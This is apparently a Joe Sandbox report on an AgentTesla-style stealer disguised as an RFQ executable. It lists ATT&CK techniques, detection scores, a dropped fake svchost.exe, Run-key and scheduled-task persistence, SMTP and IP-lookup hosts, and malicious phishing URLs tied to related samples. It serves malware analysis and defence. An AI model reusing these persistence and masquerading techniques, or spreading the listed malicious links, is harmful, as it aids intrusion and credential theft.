Source: Yara match	File source: 0000000F.00000002.2877570286.0000000002B25000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.2877901296.0000000002D2F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1951190826.0000021690133000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.2877901296.0000000002D37000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2879219152.0000000002A0F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.2877901296.0000000002CE5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 7872, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 8084, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7752, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 7660, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: jsc.exe PID: 8676, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	121 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	21 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Shared Modules	1 DLL Side-Loading	411 Process Injection	1 Deobfuscate/Decode Files or Information	1 Input Capture	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Scheduled Task/Job	2 Obfuscated Files or Information	1 Credentials in Registry	531 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	11 Registry Run Keys / Startup Folder	11 Registry Run Keys / Startup Folder	1 Timestomp	NTDS	1 Process Discovery	Distributed Component Object Model	1 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	151 Virtualization/Sandbox Evasion	SSH	Keylogging	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	151 Virtualization/Sandbox Evasion	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	411 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Hidden Files and Directories	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	37%	ReversingLabs	ByteCode-MSIL.Trojan.Nekark
RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	25%	Virustotal		Browse
RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\svchost.exe	37%	ReversingLabs	ByteCode-MSIL.Trojan.Nekark
C:\Users\user\AppData\Roaming\svchost.exe	36%	Virustotal		Browse
C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe	0%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
bg.microsoft.map.fastly.net	0%	Virustotal		Browse
fp2e7a.wpc.phicdn.net	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://status.thawte.com0:	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
smtp.zoho.eu	185.230.214.164	true	false		high
bg.microsoft.map.fastly.net	199.232.214.172	true	false	0%, Virustotal, Browse	unknown
api.ipify.org	104.26.13.205	true	false		high
ip-api.com	208.95.112.1	true	false		high
fp2e7a.wpc.phicdn.net	192.229.211.108	true	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false		high
http://ip-api.com/line/?fields=hosting	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.ipify.org	svchost.exe, 0000000A.00000002.1951190826.0000021690011000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.1951190826.0000021690133000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2877570286.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2868061435.0000000000437000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2879219152.0000000002961000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2880930308.0000000002BF1000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2877901296.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	false		high
http://upx.sf.net	Amcache.hve.18.dr	false		high
https://account.dyn.com/	svchost.exe, 0000000A.00000002.1951190826.0000021690011000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.1951190826.0000021690133000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2868048682.0000000000438000.00000040.00000400.00020000.00000000.sdmp	false		high
https://api.ipify.org/t	InstallUtil.exe, 0000000F.00000002.2877570286.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2879219152.0000000002961000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2880930308.0000000002BF1000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2877901296.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe, 00000000.00000002.1664238561.000002091F998000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2877570286.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2879219152.0000000002961000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2880930308.0000000002BF1000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2877901296.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	false		high
http://cacerts.thawte.com/ThawteTLSRSACAG1.crt0	InstallUtil.exe, 0000000F.00000002.2920560159.0000000005D70000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2870944580.0000000000E19000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2877570286.0000000002C03000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2877570286.0000000002B55000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2874204896.0000000000E74000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2927965743.0000000005CE1000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2879219152.0000000002A17000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2879219152.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2927965743.0000000005D80000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2927965743.0000000005CC0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2870897490.0000000000DC6000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2880930308.0000000002CA8000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2880930308.0000000002D56000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2870404709.0000000000F9B000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2930648063.0000000005F60000.00000004.00000020.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2926843010.0000000005F90000.00000004.00000020.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2871849560.0000000000ECD000.00000004.00000020.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2877901296.0000000002D37000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2877901296.0000000002DE6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://cdp.thawte.com/ThawteTLSRSACAG1.crl0p	InstallUtil.exe, 0000000F.00000002.2920560159.0000000005D70000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2870944580.0000000000E19000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2877570286.0000000002C03000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2877570286.0000000002B55000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2874204896.0000000000E74000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2927965743.0000000005CE1000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2879219152.0000000002A17000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2879219152.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2927965743.0000000005D80000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2927965743.0000000005CC0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2870897490.0000000000DC6000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2880930308.0000000002CA8000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2880930308.0000000002D56000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2870404709.0000000000F9B000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2930648063.0000000005F60000.00000004.00000020.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2926843010.0000000005F90000.00000004.00000020.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2871849560.0000000000ECD000.00000004.00000020.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2877901296.0000000002D37000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2877901296.0000000002DE6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://status.thawte.com0:	InstallUtil.exe, 0000000F.00000002.2920560159.0000000005D70000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2870944580.0000000000E19000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2877570286.0000000002C03000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2877570286.0000000002B55000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2874204896.0000000000E74000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2927965743.0000000005CE1000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2879219152.0000000002A17000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2879219152.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2927965743.0000000005D80000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2927965743.0000000005CC0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2870897490.0000000000DC6000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2880930308.0000000002CA8000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2880930308.0000000002D56000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2870404709.0000000000F9B000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2930648063.0000000005F60000.00000004.00000020.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2926843010.0000000005F90000.00000004.00000020.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2871849560.0000000000ECD000.00000004.00000020.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2877901296.0000000002D37000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2877901296.0000000002DE6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://smtp.zoho.eu	InstallUtil.exe, 0000000F.00000002.2877570286.0000000002B4D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2877570286.0000000002C03000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2879219152.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2879219152.0000000002A0F000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2880930308.0000000002D56000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2880930308.0000000002CA0000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2877901296.0000000002D2F000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2877901296.0000000002DE6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ip-api.com	InstallUtil.exe, 0000000F.00000002.2877570286.0000000002B11000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001A.00000002.2879219152.00000000029B1000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000025.00000002.2880930308.0000000002C41000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, 00000030.00000002.2877901296.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
185.230.214.164	smtp.zoho.eu	Netherlands	41913	COMPUTERLINEComputerlineSchlierbachSwitzerlandCH	false
104.26.13.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1437973
Start date and time:	2024-05-08 09:20:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	58
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe
Detection:	MAL
Classification:	mal100.spre.troj.spyw.expl.evad.winEXE@87/48@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 88% Number of executed functions: 125 Number of non-executed functions: 3
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, consent.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 20.190.190.131, 40.126.62.130, 40.126.62.132, 40.126.62.131, 20.190.190.194, 20.190.190.129, 20.190.190.195, 40.126.62.129, 20.114.59.183, 199.232.214.172, 192.229.211.108, 52.165.164.15, 20.42.65.92, 13.85.23.206, 20.189.173.20
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, www.tm.v4.a.prd.aadg.akadns.net, onedsblobprdwus15.westus.cloudapp.azure.com, ctldl.windowsupdate.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, onedsblobprdeus17.eastus.cloudapp.azure.com, ocsp.digicert.com, login.live.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, blobcollector.events.data.trafficmanager.net, sls.update.microsoft.com, umwatson.events.data.microsoft.com, wu-b-net.trafficmanager.net, www.tm.lg.prod.aadmsa.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
08:20:55	Task Scheduler	Run new task: svchost path: "C:\Users\user\AppData\Roaming\svchost.exe"
08:20:57	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run svchost "C:\Users\user\AppData\Roaming\svchost.exe"
08:21:07	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run svchost "C:\Users\user\AppData\Roaming\svchost.exe"
08:21:16	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run vexplorers C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe
08:21:29	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run vexplorers C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe
09:21:04	API Interceptor	78x Sleep call for process: powershell.exe modified
09:21:04	API Interceptor	317514x Sleep call for process: InstallUtil.exe modified
09:21:08	API Interceptor	595828x Sleep call for process: MSBuild.exe modified
09:21:15	API Interceptor	416978x Sleep call for process: AddInProcess32.exe modified
09:21:20	API Interceptor	4x Sleep call for process: WerFault.exe modified
09:21:24	API Interceptor	270064x Sleep call for process: jsc.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	QUOTATION_MAYQTRA031244#U00b7PDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	Purchase Order - PO24108267.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	ip-api.com/line/?fields=hosting
	Invoice-883973938.js	Get hash	malicious	WSHRAT	Browse	ip-api.com/json/
	Invoice Payment N8977823.js	Get hash	malicious	WSHRAT	Browse	ip-api.com/json/
	_____PDF.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	Pending_Invoice_Bank_Details_XLSX.js	Get hash	malicious	WSHRAT	Browse	ip-api.com/json/
	Pending_Invoice_Bank_Details_kofce_.JS.js	Get hash	malicious	WSHRAT	Browse	ip-api.com/json/
	DHL Receipt_AWB 98996913276.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	DHL Shipment Notification.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	STATEMENT OF ACCOUNT DHL - 717036431.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
185.230.214.164	INQUIRY#46789_MAY24_PLANEX_SERVICES_CONTRACTING_GOODS.exe	Get hash	malicious	AgentTesla	Browse
185.230.214.164	VBG dk Payment Receipt --doc87349281.bat	Get hash	malicious	Remcos, AgentTesla, DBatLoader	Browse
104.26.13.205	ReturnLegend.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	SecuriteInfo.com.Trojan.DownLoaderNET.960.9931.28151.exe	Get hash	malicious	PureLog Stealer, Targeted Ransomware	Browse	api.ipify.org/
	Sky-Beta-Setup.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	ArenaWarSetup.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	Sky-Beta Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=json
	E4sbo4F6Sz.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	E4sbo4F6Sz.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	SecuriteInfo.com.Win64.RATX-gen.31127.4101.exe	Get hash	malicious	PureLog Stealer, Targeted Ransomware	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fp2e7a.wpc.phicdn.net	https://u33127076.ct.sendgrid.net/ls/click?upn=u001.Dd8nu0w4qSl621Cfl5NzldfyZqjD9RWJslL2MWwt7pDZEhaAcTHbAT3eWd4fAnA0vrf6npFQIFebeFGCrAnwiA-3D-3DfmjQ_R-2Flyyz82d9aOYqi4-2FHSXVn4q8KaU22YObPyTKvaTTvltLHJTsQx6vicSpweVOt1Q2PhJWPHHTxt6yAPEzhfNUDUG5D5ilhJHkL1NI-2BWX2-2BDDI93AOg7LpunA0BU-2BZBoDgn6A5Z8xcvffpNwXtypTCusIOi-2BlO0xNH4h8I6EM-2FpelF-2BaCcmwOfdvxekMe-2FJpx-2B7DaCkmWjXbM0S7yd7UfMQ-3D-3D	Get hash	malicious	Unknown	Browse	192.229.211.108
	https://url.us.m.mimecastprotect.com/s/NqNQClYX45S1PxGimFEoZ?domain=urldefense.proofpoint.com	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	192.229.211.108
	https://flow.page/dnjetsdocs	Get hash	malicious	Unknown	Browse	192.229.211.108
	https://t.email.caixabank.com/r/?id=h53014a64,6db27ee6,f3bae0f&p1=tambatourism.jp/g/c3lsdmllLnJvbGxhbmRAYXNuLmNvbQ==	Get hash	malicious	Unknown	Browse	192.229.211.108
	https://docomo3903-tatad0c0movsnl3932.000webhostapp.com	Get hash	malicious	Unknown	Browse	192.229.211.108
	https://app.nyheder.danskespil.dk/e/f2?elqFormName=4ChangePermission&elqSiteID=414837471&DataSourceID=706382&emailPermission=0&redirect=https://kotobukitabi.com/s/anVlcmdlbi5zZWlkbGVyQGlwcm90ZXguZGU=	Get hash	malicious	Unknown	Browse	192.229.211.108
	https://subscription-management.paddle.com/subscription/23736269/hash/48f17787dd06251c79832319a0cd81181e25b6488ec57eb96bdbfa63d118f311/manage-subscription	Get hash	malicious	Unknown	Browse	192.229.211.108
	http://link.csrwire.com/ls/click?upn=u001.Si0DiArC1V8ZAnBzMk9-2BdVKW245QccVJHq5a8ac9PL1cxKEohrdYzj-2Bi8X2xywdF5x014kxhAPztuH7dRixzSCWE-2BJwchVhYZ74Ivk5CnEAPFl7yJBY43wNoXEBfuRY7zCLn7IFjGzLO2VDHwzMa6b1dQgFTMqVrhr7lYKJs9qSYs-2BIWqneYUpThOMtW8ZRR6Iy8ZluudY9oUF69ErkVqA6gMOP6hsn18i6QDKKSZnC9POFmoqBrhkCOfvuGx9Sc68KnispIMnuYFYdoZ7hCy4nEg9MV1nHjooH2bSknJrw-3DJv90_uasUJFZdY7eaP30o1d8eQUWw-2Fg5FtJnmGNkAfKTWGhPhZj2SRXHcVkFycTbmteiR49Bsg0-2F8UnMQZ-2BR1nBerdNQt382IwC0Ybind3mrVDI96pH29g-2B-2FpnDj32EOLxLVmUeZ6iStdbanLNsSZ-2FO-2Fxs3A9YoRSDSCn4sC935IKMQ4t22hWlNHnvcd4gxn7IFaZE3maV8vgwBm2PtcJUiXsuRf4Iy-2B-2BJAXRBtIRgFkqBfE-3D	Get hash	malicious	HTMLPhisher	Browse	192.229.211.108
	https://url.us.m.mimecastprotect.com/s/LOTCCXD9yEtpw99u6JYxu?domain=urldefense.proofpoint.com	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	192.229.211.108
	https://www.qwikxf.cn/	Get hash	malicious	Unknown	Browse	192.229.211.108
ip-api.com	QUOTATION_MAYQTRA031244#U00b7PDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	Purchase Order - PO24108267.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	208.95.112.1
	Invoice-883973938.js	Get hash	malicious	WSHRAT	Browse	208.95.112.1
	Invoice Payment N8977823.js	Get hash	malicious	WSHRAT	Browse	208.95.112.1
	_____PDF.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Pending_Invoice_Bank_Details_XLSX.js	Get hash	malicious	WSHRAT	Browse	208.95.112.1
	Pending_Invoice_Bank_Details_kofce_.JS.js	Get hash	malicious	WSHRAT	Browse	208.95.112.1
	DHL Receipt_AWB 98996913276.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	DHL Shipment Notification.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	STATEMENT OF ACCOUNT DHL - 717036431.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
api.ipify.org	SecuriteInfo.com.Trojan-Downloader.Autoit.gen.6551.1850.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	SecuriteInfo.com.Win32.TrojanX-gen.20995.10729.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	Payment Advice.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	https://seniorservice.co.za/?banner_click=true&banner_id=16535&href=http://0173316598494355.822094.actual-media.ro/de/?id=anna.pohl@bacvb.com	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	swift copy.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	Shipping Documents.pdf.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	swift copy.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	http://t.co/QwLoYDFPoZ	Get hash	malicious	HTMLPhisher	Browse	104.26.13.205
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.30974.7732.rtf	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	DHL Receipt_AWB 98996913276.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
bg.microsoft.map.fastly.net	https://u33127076.ct.sendgrid.net/ls/click?upn=u001.Dd8nu0w4qSl621Cfl5NzldfyZqjD9RWJslL2MWwt7pDZEhaAcTHbAT3eWd4fAnA0vrf6npFQIFebeFGCrAnwiA-3D-3DfmjQ_R-2Flyyz82d9aOYqi4-2FHSXVn4q8KaU22YObPyTKvaTTvltLHJTsQx6vicSpweVOt1Q2PhJWPHHTxt6yAPEzhfNUDUG5D5ilhJHkL1NI-2BWX2-2BDDI93AOg7LpunA0BU-2BZBoDgn6A5Z8xcvffpNwXtypTCusIOi-2BlO0xNH4h8I6EM-2FpelF-2BaCcmwOfdvxekMe-2FJpx-2B7DaCkmWjXbM0S7yd7UfMQ-3D-3D	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://url.us.m.mimecastprotect.com/s/NqNQClYX45S1PxGimFEoZ?domain=urldefense.proofpoint.com	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	199.232.210.172
	https://flow.page/dnjetsdocs	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://t.email.caixabank.com/r/?id=h53014a64,6db27ee6,f3bae0f&p1=tambatourism.jp/g/c3lsdmllLnJvbGxhbmRAYXNuLmNvbQ==	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://docomo3903-tatad0c0movsnl3932.000webhostapp.com	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://app.nyheder.danskespil.dk/e/f2?elqFormName=4ChangePermission&elqSiteID=414837471&DataSourceID=706382&emailPermission=0&redirect=https://kotobukitabi.com/s/anVlcmdlbi5zZWlkbGVyQGlwcm90ZXguZGU=	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://subscription-management.paddle.com/subscription/23736269/hash/48f17787dd06251c79832319a0cd81181e25b6488ec57eb96bdbfa63d118f311/manage-subscription	Get hash	malicious	Unknown	Browse	199.232.214.172
